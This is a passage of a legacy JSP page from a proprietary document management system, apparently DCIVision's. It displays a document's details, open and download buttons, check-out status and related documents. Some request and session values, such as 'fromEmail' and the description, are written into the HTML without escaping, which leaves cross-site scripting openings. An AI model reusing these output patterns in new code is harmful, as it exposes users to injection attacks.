<%
/*
 * @(#)ViewDmsDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ViewDmsPaperDocument.jsp

  This class is reflecting business logic uses.

    @author           Roy Wong
    @company          DCIVision Limited
    @creation date    29/11/2004
    @version          $Revision: 1.14.2.12 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.text.*"%>
<%@ page import="javax.servlet.jsp.*"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.* "%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.bean.* "%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.alert.bean.UpdateAlert"%>
<%@ page import="com.dcivision.forum.bean.*"%>
<%@ page import="com.dcivision.forum.core.*"%>
<%@ page import="com.dcivision.forum.*"%>
<%@ page import="com.dcivision.alert.core.*"%>

<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsDocumentForm" scope="request" class="com.dcivision.dms.web.MaintDmsDocumentForm"/>

<html>
<head>
<title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<!-- Common Stylesheet Begin -->
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!-- Common Stylesheet End -->
<!-- Common Javascript Begin -->
<script language="Javascript"> <jsp:include page="/js/Variable.jsp"/> </script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Calendar.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/AnchorPosition.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/ColorPicker.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PopupWindow.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/StaticJavascript.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Tree.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PermissionSetup.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.js" charset="UTF-8" type="text/javascript"></script>

<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/DmsDocumentListDeleteFacade.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/DmsDocumentCheckoutFacade.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/engine.js'></script>

<script language="javascript">
g_curr_function_code = "<%=request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)%>";
</script>
<%if (request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)!=null && ((String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)).startsWith("DMS")) {%>
<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp?dummy=<%=Utility.getCurrentTimestamp().getTime()%>" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/NewCalendar.jsp" charset="UTF-8" type="text/javascript"></script>
<%}%>
<script language="Javascript" src="<%= request.getContextPath() %>/jsp/customize/CustomizedJS.jsp" charset="UTF-8" type="text/javascript"></script>
</head>



<body onLoad="if (parent.adjustIFrameSize)parent.adjustIFrameSize(window);" bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" link="#000000" vlink="#000000" alink="#000000" ><div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></div>
<html:form type="MaintDmsDocumentForm" action="dms/MaintDmsDocument">
<html:javascript formName="maintDmsDocumentForm" dynamicJavascript="true" staticJavascript="false"/>

<table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
<html:errors/>
<html:messages/>
</td></tr></table>

<%
  /****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

if(!Utility.isEmpty(maintDmsDocumentForm.getID())){
  String      LIST_NAME = "forumGroupDetailList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"forum.columnheader.discussion_object_type", "OBJECT_TYPE"},
                            {"common.label.copy", GlobalConstant.NOT_AVAILABLE},
                            {"forum.columnheader.discussion_topic", "TOPIC"},
                            {"forum.columnheader.discussion_author", GlobalConstant.NOT_AVAILABLE},
                            {"forum.columnheader.discussion_replies", GlobalConstant.NOT_AVAILABLE},
                            {"forum.columnheader.discussion_read", "READS"},
                            {"forum.columnheader.discussion_last_reply_by", "CREATE_DATE"}
                          };
  int     COLUMN_OFFSET = 2;

  //Get and Set all the document info for target document ID
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);

  //Integer documentID = TextUtility.parseIntegerObj((String)request.getAttribute("documentID")==null?(String)request.getAttribute("ID"):(String)request.getAttribute("documentID"));
  Integer documentID =new Integer(maintDmsDocumentForm.getID());
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
  DocumentValidateManager docValidateManager = new DocumentValidateManager(sessionContainer,conn);
  VersionControlManager verControlManager = new VersionControlManager(sessionContainer, conn);

  maintDmsDocumentForm = docRetrievalManager.getAllDocumentRelatedInfo(documentID);
  DmsDocument targetDocument = (DmsDocument)maintDmsDocumentForm.getFormData();
  DmsDocument dmsDocument=docRetrievalManager.getDocument(documentID);
  boolean invitationOverwrite =SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_INVITATION_OVERWRITE_STANDARD);

  DmsCheckoutHistory checkoutHistory = new DmsCheckoutHistory();
  String docItemStatus = maintDmsDocumentForm.getItemStatus();
  Integer checkoutPersonID = new Integer("0");
  if (DmsVersion.EXCLUSIVE_LOCK.equals(docItemStatus)) {
    checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(TextUtility.parseIntegerObj(maintDmsDocumentForm.getCheckoutID()));
    checkoutPersonID = checkoutHistory.getCheckoutPersonID();
  }

  /*Parameter for common document info */
  final Integer rootID       = TextUtility.parseIntegerObj(maintDmsDocumentForm.getRootID());
  final Integer parentID     = TextUtility.parseIntegerObj(maintDmsDocumentForm.getParentID());
  final String documentType  = maintDmsDocumentForm.getDocumentType();
  final String sCurFunctionCode = (String) maintDmsDocumentForm.getCurFunctionCode();
  final List udfDetailList = (List) maintDmsDocumentForm.getUdfDetailList();
  final List docDetailList = (List) maintDmsDocumentForm.getDocumentDetails();
  String fromEmail=request.getParameter("fromEmail");
  if(!Utility.isEmpty(session.getAttribute("fromEmail"))){
    fromEmail=(String)session.getAttribute("fromEmail");
  }
  session.setAttribute("fromEmail",fromEmail);

  //Check for permission and the document location
  DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
  if (rootFolder == null) {
    rootFolder = (DmsDocument)docRetrievalManager.getRootFolderByRootID(rootID);
  }
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  //Permission string TODO: byPass permission if WF module
  String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, documentID);

  //Get parameter for document download.jsp
  String sVersion = DmsOperationConstant.DMS_TOP_VERSION;
  String sFileName=maintDmsDocumentForm.getDocumentName();
  int iDot = sFileName.lastIndexOf(".");
  String sExt = TextUtility.getExtension(sFileName);
  String contextPath = (String)pageContext.getServletContext().getAttribute(GlobalConstant.CONTEXT_PATH_KEY);

  //Variable for DOCUMENT_LINK
  DmsDocument targetDoc = new DmsDocument();
  DmsDocument targetDocRoot = new DmsDocument();
  String targetDocPermission = "";

  //get list of the document relation
  MtmDocumentRelationshipDAObject dmsMtmDocumentRelationshipDAO = new MtmDocumentRelationshipDAObject (sessionContainer, conn);
  List DocRelationList = new ArrayList();
  List IndirectRelationDocumentList=new ArrayList();
  DocRelationList = dmsMtmDocumentRelationshipDAO.getListByIDRelationType(documentID,null);
  IndirectRelationDocumentList=dmsMtmDocumentRelationshipDAO.getListByRelationIDRelationType(documentID,null);
  //get list of compound document

  List CompoundDocList = new ArrayList();
  if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)||DmsDocument.PAPER_DOC_TYPE.equals(documentType)){
      CompoundDocList=docRetrievalManager.getDocumentListByParentIDRootID(documentID, rootID);
  }

  //Operate the "READ" action indicator for Home page directed
  String updateReadOperation = (String) request.getParameter("updateReadOperation");
  String updateAlertSystemLogID = (String) request.getParameter("updateAlertSystemLogID");
  boolean inviteToRead = false;

  if (!Utility.isEmpty(updateAlertSystemLogID)){
    if("true".equals(updateReadOperation)){
      AlertManager alertManager = new AlertManager(sessionContainer, conn);
      alertManager.updateReadOperationLog(new Integer(updateAlertSystemLogID));
    }
  }

  if (SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_INVITATION_OVERWRITE_STANDARD)){
    inviteToRead = true;
  }
  String directURL=(String)request.getAttribute("directURL");
  if(Utility.isEmpty(directURL)){
//    directURL=request.getRealPath(request.getRequestURL().toString());
    directURL=request.getRequestURL().toString();
    directURL=new String(directURL.replaceAll("\\\\","/"));
    if(!Utility.isEmpty(request.getQueryString())){
      directURL=directURL+"?"+request.getQueryString().toString();
    }
    int direU=directURL.indexOf("http");
    directURL=directURL.substring(direU,directURL.length());
    int realp=directURL.indexOf(""+request.getContextPath()+"");
    directURL=directURL.substring(realp,directURL.length());
  }
  directURL=java.net.URLEncoder.encode(directURL);
  boolean showDownload = SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_SHOW_DOWNLOAD_BUTTON);
%>
<script language="Javascript" src="<%= contextPath %>/js/OverLib.jsp" charset="UTF-8" type="text/javascript"></script>



<layout:titleFormat><font class="pageTitle"><layout:pageTitle linkFlag="false" displayActionStr="false" functionCode="<%=sCurFunctionCode%>" functionType='<%="dms.label.doc_info_"+documentType%>'/></font></layout:titleFormat>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID' value='<%=documentID.toString()%>'/>
<html:hidden property='documentType'/>
<html:hidden property='parentID'/>
<html:hidden property='rootID'/>
<html:hidden property='createType'/>
<html:hidden property='itemSize'/>
<html:hidden property='itemStatus'/>
<html:hidden property='checkoutID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<html:hidden property='curFunctionCode' value='<%=sCurFunctionCode%>'/>
<html:hidden property="closeFlag" value="0"/>
<html:hidden property="trueFileName"/>
<html:hidden property="emailAttachment"/>

<input type='hidden' name='documentID' value='<%=documentID%>'/>
<input type="hidden" name="fromEmail" value="<%=fromEmail%>">

<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<!-- System And Error Messages Begin -->


<table cellpadding="0" cellspacing="0" border="0" width="100%">
  <tr>
    <td><layout:sectionHeader name='dms.label.doc_info_D'/></td>
  </tr>
</table>
<table width="100%" border="0" cellspacing="2">
  <tr>
    <td width="241" valign="top" class="<layout:classLabel mandatory='false'/>"><bean:message key='dms.label.location'/>:&nbsp;</td>
    <td width="699" class="formFieldSmall">
    <!-- <dms:locationPath parentID="<%=parentID%>" rootID="<%=rootID%>" permission='<%=permission%>' rootDocument='<%=rootFolder%>' indexFlag='RelatedDocIndexFlag'/> -->
     <%=docRetrievalManager.getLocationPath(parentID)%>
    </td>
  </tr>
<%  if (DmsDocument.DOCUMENT_LINK.equals(documentType)){
      targetDoc = (DmsDocument)request.getAttribute("targetDoc");
      if (targetDoc!=null) {
        targetDocRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(targetDoc.getRootID());
        targetDocPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, targetDoc.getID());
      }
    }  %>
  <tr>
    <td width="241" valign="top" class="formLabelSmall"><bean:message key='<%="dms.label.doc_type_"+documentType%>'/> <bean:message key="dms.label.document_name"/>:&nbsp;</td>
    <td width="699" class="formFieldSmall">
    <%if("true".equals(fromEmail)){%>
      <% if (!DmsVersion.ARCHIVED_STATUS.equals(docItemStatus)) { %>
        <a href="" onClick="return overlib(FUNCTION, 'getMenuText(\'<%=TextUtility.escapeJSString(((DmsDocument)dmsDocument).getDocumentName().replaceAll("\'","&acute;"))%>\', \'<%=documentType%>\',  \'<%=documentID%>\', \'<%=parentID%>\', \'<%=rootID%>\', \'<bean:write name='listLoopCnt'/>\', \'<%=docValidateManager.checkExpireDocumentOwner((DmsDocument) dmsDocument)%>\', \'<%=checkoutPersonID%>\', \'<%=sessionContainer.getUserRecordID()%>\',\'<%=permission%>\',\'<%=dmsDocument.getHasRelationship()%>\',\'<%=directURL%>\')', FULLHTML, TEXTSIZE, 2, WIDTH, 120, OFFSETX, 0, OFFSETY, 0, CENTER, STICKY);"><html:img src='IconTreeSetupOption.gif' common='true' align='absmiddle'/></a>
      <% } else { %>
        <html:img src='IconTreeSetupOptionDisable.gif'  align='absmiddle'/>
      <% } %>
     <%}%>&nbsp;
<%if(invitationOverwrite){
    permission="PERSONAL";
   }
%>
    <nobr><dms:documentInfo docObject='<%=(DmsDocument)maintDmsDocumentForm.getFormData()%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>' isOverLib='true'/></nobr>

       <%if(!SystemFunctionConstant.DMS_EMPTY_FILE.equals(sCurFunctionCode)){%>
      <html:img src='LayoutSpacer.gif'  width='30'/>
      <% if ((GlobalConstant.RECORD_STATUS_INACTIVE.equals(maintDmsDocumentForm.getRecordStatus()))||(DmsVersion.ARCHIVED_STATUS.equals(maintDmsDocumentForm.getItemStatus()))){%>
      <html:standardButton label="dms.label.open" disable="true"/>
    <%if(showDownload){%>
      <html:standardButton label="dms.label.download" disable="true"/>
    <%}%>
      <%}else if (DmsDocument.DOCUMENT_LINK.equals(documentType) && targetDoc!=null && GlobalConstant.RECORD_STATUS_INACTIVE.equals(targetDoc.getRecordStatus())){%>
      <html:standardButton label="dms.label.download" disable="true"/>
    <%if(showDownload){%>
      <html:standardButton label="dms.label.download" disable="true"/>
    <%}%>
      <%}else{%>
        <%if ((!Utility.isEmpty(permission) && permission.indexOf("R")>=0) || inviteToRead){%>
          <%if(!DmsDocument.PAPER_DOC_TYPE.equals(documentType) && (!DmsDocument.PAPER_DOC_TYPE.equals(targetDoc.getDocumentType())) ){%>
          <html:standardButton label="dms.label.open" link='<%=contextPath+"/dms/FileDownloadServlet?sCurFunctionCode="+sCurFunctionCode+"&targetID=${maintDmsDocumentForm.ID}&documentType="+documentType+"&version="+sVersion+"&ext=."+sExt%>' target="_blank"/>
           <%if(showDownload){%>
          <html:standardButton label="dms.label.download" link='<%=contextPath+"/dms/FileDownloadServlet?sCurFunctionCode="+sCurFunctionCode+"&targetID="+maintDmsDocumentForm.getID()+"&version="+sVersion+"&isDownload=Y&ext=."+sExt%>' target="_blank"/>
          <%}%>
          <%}%>
          <%if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)){%>
      <%if(showDownload){%>
        <html:standardButton label="dms.label.downloadall" link='<%=contextPath+"/jsp/dms/ZipCompoundDownload.jsp?sCurFunctionCode="+sCurFunctionCode+"&targetID="+maintDmsDocumentForm.getID()+"&version="+sVersion+"&isDownload=Y&ext=."+sExt%>'/>
    <%}%>
          <%}%>
        <%}else{%>
          <html:standardButton label="dms.label.open" disable="true"/>
          <%if(showDownload){%>
          <html:standardButton label="dms.label.download" disable="true"/>
            <%}%>
          <%if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)){%>
             <%if(showDownload){%>
              <html:standardButton label="dms.label.downloadall" disable="true"/>
              <%}%>
          <%}%>
         <%}%>
      <%}%>
    <%}%>
  </td>
  </tr>
  <%if (SystemFunctionConstant.DMS_PERSONAL_FOLDER.equals(sCurFunctionCode) || (DmsDocument.DOCUMENT_LINK.equals(documentType))){%>
  <html:hidden property='effectiveStartDate'/>
  <html:hidden property='effectiveEndDate'/>
  <%} else {
    %>
  <tr>
    <td width="241" class="formLabelSmall"><bean:message key='dms.label.effective_start_date'/>:&nbsp;</td>
    <td width="699" class="formFieldSmall">
    <%=TextUtility.formatDate(targetDocument.getEffectiveStartDate(), SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT))%>
    </td>
  </tr>
  <tr>
    <td width="241" class="formLabelSmall"><bean:message key='dms.label.effective_end_date'/>:&nbsp;</td>
    <td width="699" class="formFieldSmall">
    <%=TextUtility.formatDate(targetDocument.getEffectiveEndDate(), SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT))%>
    </td>
  </tr>
  <%}%>
<%  if (DmsDocument.DOCUMENT_LINK.equals(documentType) && targetDoc!=null ){%>
    <tr>
      <td class="formLabelSmall" width='25%' valign='top'><bean:message key='dms.label.target_file'/>:&nbsp;</td>
      <td class="formFieldSmall">
       <%if("true".equals(fromEmail)){%>
      <% if (!DmsVersion.ARCHIVED_STATUS.equals(docItemStatus)) { %>
        <a href="" onClick="return overlib(FUNCTION, 'getMenuText(\'<%=TextUtility.escapeJSString(((DmsDocument)dmsDocument).getDocumentName().replaceAll("\'","&acute;"))%>\', \'<%=documentType%>\',  \'<%=documentID%>\', \'<%=parentID%>\', \'<%=rootID%>\', \'<bean:write name='listLoopCnt'/>\', \'<%=docValidateManager.checkExpireDocumentOwner((DmsDocument) dmsDocument)%>\', \'<%=checkoutPersonID%>\', \'<%=sessionContainer.getUserRecordID()%>\',\'<%=permission%>\',\'<%=dmsDocument.getHasRelationship()%>\',\'<%=directURL%>\')', FULLHTML, TEXTSIZE, 2, WIDTH, 120, OFFSETX, 0, OFFSETY, 0, CENTER, STICKY);"><html:img src='IconTreeSetupOption.gif' common='true' align='absmiddle'/></a>
      <% } else { %>
        <html:img src='IconTreeSetupOptionDisable.gif'  align='absmiddle'/>
      <% } %>
     <%}%>&nbsp;
      <dms:documentInfo docObject='<%=(DmsDocument)targetDoc%>' recordStatus='<%=targetDoc.getRecordStatus()%>' curFunctionCode='' permission='<%=targetDocPermission%>' rootDocument='<%=targetDocRoot%>' linkFlag='false'/>
      </td>
    </tr>
    <tr>
      <td class="formLabelSmall" width="'25%" valign='top'><bean:message key='dms.label.target_file_location'/>:&nbsp;</td>
      <td class="formFieldSmall"  width='75%'><nobr>
      <!-- <dms:locationPath parentID="<%=targetDoc.getParentID()%>" rootID="<%=targetDoc.getRootID()%>" permission='<%=targetDocPermission%>' rootDocument='<%=targetDocRoot%>' indexFlag='showIndexFlag'/> -->
       <%=docRetrievalManager.getLocationPath(targetDoc.getParentID())%>

      </nobr>
      </td>
    </tr>

    <%}else{         %>
  <tr>
    <td class="formLabelSmall" width="25%"><bean:message key='common.label.priority'/>:&nbsp;</td>
    <td class="formFieldSmall" width="75%">
      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_HIGH%>' textOnly="true"><bean:message key='common.priority.label_3'/></html:radio>
      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_MEDIUM%>' textOnly="true"><bean:message key='common.priority.label_2'/></html:radio>
      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_LOW%>' textOnly="true"><bean:message key='common.priority.label_1'/></html:radio>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall" width="25%"><bean:message key='dms.label.reference_no'/>:&nbsp;</td>
    <td class="formFieldSmall" width="75%"><%=maintDmsDocumentForm.getReferenceNo()==null?"-":maintDmsDocumentForm.getReferenceNo()%></td>
  </tr>
  <%}%>
  <tr>
    <td width="241" valign="top" class="formLabelSmall"><bean:message key='dms.label.description'/>:&nbsp;</td>
    <td width="699" class="formFieldSmall">
    <% String description = maintDmsDocumentForm.getDescription();
       description = TextUtility.replaceString(description, "\n", "<br>&nbsp;");
       if (!Utility.isEmpty(description)){%>
          <%=description%>
       <%}else{%>
            <%=GlobalConstant.EMPTY_FIELD%>
       <%}%>
    </td>
  </tr>
<%
  if (DmsDocument.DOCUMENT_TYPE.equals(documentType)||DmsDocument.PAPER_DOC_TYPE.equals(documentType)) {

    // Default profile display.
    int totalFieldCount = Integer.parseInt(com.dcivision.framework.SystemParameterFactory.getSystemParameter(com.dcivision.framework.SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_COUNT));

    for (int i = 0; i < totalFieldCount; i++) {%>
    <%DmsDefaultProfileSetting setting = ((DmsDefaultProfileSetting)DMS_DEF_PROFILE.get(i));%>
  <tr>
    <td class="<layout:classLabel mandatory='<%="Y".equals(setting.getMandatoryFlag())%>'/>" width="25%" valign="top"><%=setting.getFieldName()%>:&nbsp;</td>
    <td class="formFieldSmall" width="75%">
    <%
    if (DmsDefaultProfileSetting.FIELD_TYPE_INTEGER.equals(setting.getFieldType())) {%>
    <html:integer property='<%="userDef"+(i+1)%>' textOnly="true"/>
    <%} else if (DmsDefaultProfileSetting.FIELD_TYPE_FLOAT.equals(setting.getFieldType())) {%>
    <html:float property='<%="userDef"+(i+1)%>' textOnly="true"/>
    <%} else if (DmsDefaultProfileSetting.FIELD_TYPE_DATE.equals(setting.getFieldType())) {%>
    <html:datepicker property='<%="userDef"+(i+1)%>' textOnly="true"/>
    <%} else if (DmsDefaultProfileSetting.FIELD_TYPE_STRING.equals(setting.getFieldType())) {%>
    <html:text property='<%="userDef"+(i+1)%>' textOnly="true"/>
    <%} else if (DmsDefaultProfileSetting.FIELD_TYPE_SELECT_DATABASE.equals(setting.getFieldType()) || DmsDefaultProfileSetting.FIELD_TYPE_SELECT_HARDCODE.equals(setting.getFieldType())) {%>
      <%String[][] tmpAry = new com.dcivision.dms.core.DocumentOperationManager(sessionContainer, (java.sql.Connection)request.getAttribute(GlobalConstant.DB_KEY)).getOptionStringArray(setting);%>
    <html:select property='<%="userDef"+(i+1)%>' textOnly="true">
      <html:options stringArray='<%=tmpAry%>'/>
    </html:select>
    <%} else {%>

    <%}%>
    </td>
  </tr>
  <%}
  }%>
  <!-- Common Item End -->

   <!-- UDF for Document -->
  <% if (!Utility.isEmpty(udfDetailList))  {%>
  <tr>
    <td width="241" valign='top' class="formLabelSmall"><bean:message key='dms.label.profile_name'/>:&nbsp;</td>
    <td width="699" class="formFieldSmall"><%=maintDmsDocumentForm.getUserDefinedType()%></td>
  </tr>
  <%
        SysUserDefinedIndexDetail udfDetail = null;
        String classType = "formLabelSmall";
        for ( int i=0; i< udfDetailList.size(); i++) {
          udfDetail = (SysUserDefinedIndexDetail) udfDetailList.get(i);

          String fieldValue = "";
          Timestamp realDateValue = null;
          for (int j=0; j < docDetailList.size(); j++) {
            if (udfDetail.getID().equals(((DmsDocumentDetail)docDetailList.get(j)).getUserDefinedFieldDetailID())){
              if (SysUserDefinedIndexDetail.DATE_FIELD.equals(udfDetail.getFieldType())) {
                fieldValue=TextUtility.formatTimestampToDate(((DmsDocumentDetail) docDetailList.get(j)).getDateValue());
                realDateValue=((DmsDocumentDetail) docDetailList.get(j)).getDateValue();
              } else if (SysUserDefinedIndexDetail.NUMBER_FIELD.equals(udfDetail.getFieldType())) {
                if (((DmsDocumentDetail)docDetailList.get(j)).getNumericValue() !=null ) {
                  fieldValue = ((DmsDocumentDetail)docDetailList.get(j)).getNumericValue().toString();
                }
              } else {
                fieldValue = ((DmsDocumentDetail)docDetailList.get(j)).getFieldValue();
              }
              break;
            }
          }
          fieldValue = TextUtility.htmlEncode(fieldValue);%>

  <tr>
    <input type="hidden" name="udfDetailID_<%= udfDetail.getID() %>">
    <input type="hidden" name="udfDetail_FieldType_<%= udfDetail.getFieldType() %>">
    <td width="241" valign='top' class="formLabelSmall"><%=udfDetail.getFieldName()%>:&nbsp;</td>
    <td class="formFieldSmall" width='699'><%=fieldValue%></td>
  </tr>
  <%}%>
  <%}%>
  <%if(sCurFunctionCode.equals(SystemFunctionConstant.DMS_PUBLIC_FOLDER)){%>
  <tr>
    <td width="241" class="formLabelSmall"><bean:message key="dms.columnheader.item_status"/>:&nbsp;</td>
    <td width="699" class="formFieldSmall">
    <%if (!DmsVersion.ARCHIVED_STATUS.equals(docItemStatus)) { %>
      <%if (DmsDocument.DOCUMENT_TYPE.equals(documentType)) { %>
        <%if (docItemStatus.equals(DmsVersion.EXCLUSIVE_LOCK)) {
          String checkoutUser = UserInfoFactory.getUserFullName(checkoutPersonID);
%>
        <a href="javascript://" onClick="return OpCheckin('<%=maintDmsDocumentForm.getID()%>', '<%=maintDmsDocumentForm.getParentID()%>', '<%=maintDmsDocumentForm.getRootID()%>', '<%=sCurFunctionCode%>', <%=checkoutPersonID%>, <%=sessionContainer.getUserRecordID()%>, '<%=GlobalConstant.NAV_MODE_PREVIEW%>');" onMouseOver="return overlib('<table border=0 cellpadding=0 cellspacing=0><tr><td><img src=\'<html:img src="IconDMSLock.gif"  pathOnly="true" align="absmiddle"/>\'></td><td><nobr>&nbsp;<%=checkoutUser%></nobr></td></tr></table>', WIDTH, 120, BGCOLOR, '#990000', FGCOLOR, '#FFEEFF', LEFT);" onmouseout="return nd();"><html:img src='IconDMSLock.gif'  align="absmiddle"/></a>
        <%} else if (docItemStatus.equals(DmsVersion.ARCHIVED_STATUS)) {%>
        <html:img src='IconDMSUnlock.gif'  align="absmiddle"/>
        <%} else {%>
            <%if (permission.indexOf("T")>=0){%>
            <a href="javascript://" onClick="return OpCheckout('<%=maintDmsDocumentForm.getID()%>', '<%=maintDmsDocumentForm.getParentID()%>', '<%=maintDmsDocumentForm.getRootID()%>', '<%=sCurFunctionCode%>', '<%=GlobalConstant.NAV_MODE_PREVIEW%>');"><html:img src='IconDMSUnlock.gif'  align="absmiddle"/></a>

            <%}else{%>
            <html:img src='IconDMSUnlock.gif'  align="absmiddle"/>
            <%}%>
        <%}%>
      <%} else {%>
        <%=GlobalConstant.EMPTY_FIELD%>
      <%}%>
    <%} else {%>
        <%=GlobalConstant.EMPTY_FIELD%>
    <%}%>
    </td>
  </tr>
  <%}%>
  <%if (DmsDocument.DOCUMENT_TYPE.equals(documentType)) { %>
  <tr>
    <td width="241" class="formLabelSmall"><bean:message key="dms.label.number_of_versions"/>:&nbsp;</td>
    <td width="699" class="formFieldSmall"><%=maintDmsDocumentForm.getNoOfVersion()%></td>
  </tr>
  <%}%>
  <tr>
    <td colspan="2"><html:img src='LayoutSpacer.gif'  height='8'/></td>
  </tr>
</table>

<!--Document relationship begin-->
<% if(!Utility.isEmpty(DocRelationList) || !Utility.isEmpty(IndirectRelationDocumentList)){
     MtmDocumentRelationship  relationshipObj = new MtmDocumentRelationship();

%>
  <table cellpadding="0" cellspacing="0" border="0" width="100%">
    <tr>
      <td class="sectionTitle" valign="bottom" nowrap><bean:message key="dms.label.related_doc_list"/></td>
      <td align="right">
      </td>
    </tr>
    <tr>
      <td class="blackLine" colspan="2" width='1'><html:img src='Spacer.gif'  width='1' height='1'/></td>
    </tr>
  </table>

  <table cellpadding="3" cellspacing="1" border="0" width="100%"><tr>
  <!-- Table Column Header Begin -->

  <td class="formLabelSmall"><bean:message key="dms.label.name_D"/></td>
  <td class="formLabelSmall"><bean:message key="dms.columnheader.relationshipType"/></td>
  <td class="formLabelSmall"><bean:message key="dms.columnheader.related_doc_name"/></td>
  <td class="formLabelSmall"><bean:message key="dms.columnheader.location"/></td>
  <td class="formLabelSmall"><bean:message key="common.label.creator"/></td>
  <!-- Table Column Header End -->
  </tr>
  <%for(int j=0;j<DocRelationList.size();j++) {
      relationshipObj = (MtmDocumentRelationship)DocRelationList.get(j);
      DmsDocument relatedDocument = docRetrievalManager.getDocument(relationshipObj.getRelatedDocumentID());
      String relatedPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, relatedDocument.getID());
      DmsDocument relatedRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(relatedDocument.getRootID());
      String relatedExt = TextUtility.getExtension(relatedDocument.getDocumentName());
      String reItemStatus = relatedDocument.getItemStatus();
      Integer checkoutUserID = new Integer("0");
      if (DmsVersion.EXCLUSIVE_LOCK.equals(reItemStatus)) {
        checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(relatedDocument.getCheckoutID());
        checkoutUserID = checkoutHistory.getCheckoutPersonID();
      }
    %>
  <tr id="tr<%=((AbstractBaseObject)relatedDocument).getID()%>">

    <td>
    <dms:documentInfo docObject='<%=(DmsDocument)maintDmsDocumentForm.getFormData()%>' recordStatus='<%=maintDmsDocumentForm.getRecordStatus()%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>' isOverLib='true'/>
